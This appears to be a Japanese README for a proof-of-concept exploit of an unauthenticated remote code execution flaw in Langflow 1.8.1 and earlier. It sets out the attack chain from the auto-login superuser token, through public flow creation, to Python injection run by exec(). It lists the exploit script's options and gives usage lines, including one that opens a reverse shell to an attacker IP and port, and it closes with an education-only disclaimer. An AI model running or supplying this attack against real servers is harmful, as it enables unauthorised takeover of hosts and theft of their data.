
Langflow 1.8.1 以前の脆弱性により、リモートの未認証攻撃者がホスト上で任意のコマンド実行を達成できる可能性があります。
Langflow 1.8.1 以前の脆弱性により、リモートの認証されていない攻撃者がホスト上で任意のコマンド実行を達成できます。
POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントは、認証なしで誰でもパブリックフローを構築することを許可します。
任意の data パラメータを提供することで、攻撃者は保存されたフローを独自に作成した定義で上書きし、ノード設定内に任意の Python コードを埋め込むことができます。このユーザー制御のコードは、サンドボックス化や検証なしで exec() を介して実行され、認証されていないリモートコード実行につながります。
Langflow 1.8.1 以前
AUTO_LOGIN=true の場合にパブリックフローを作成AUTO_LOGIN=true(デフォルト設定)の場合、認証されていない攻撃者はすべての条件を満たすことができます:
GET /api/v1/auto_login → スーパーユーザートークンを取得POST /api/v1/flows/ → パブリックフローを作成build_public_tmp を介してエクスプロイトをトリガーpython cve-2026-33017.py <host> [options]
オプション:
-p PORT, --port PORT: SSH ポート(デフォルト: 7860)
-id FLOW_ID, --flow_id FLOW_ID: パブリックフロー ID(省略時は新しいものが作成されます)
-c COMMAND, --command COMMAND: 実行するカスタムコマンド
--shell: リバースシェルを起動
--lhost LHOST: リバースシェル用の攻撃者の IP
--lport LPORT: リバースシェル用の攻撃者のポート(デフォルト: 4444)
-t TIMEOUT, --timeout TIMEOUT: 接続タイムアウト(秒)(デフォルト: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
この PoC は教育および研究目的のみを対象としています。自己責任で使用してください。著者は、誤用または発生した損害について一切責任を負いません。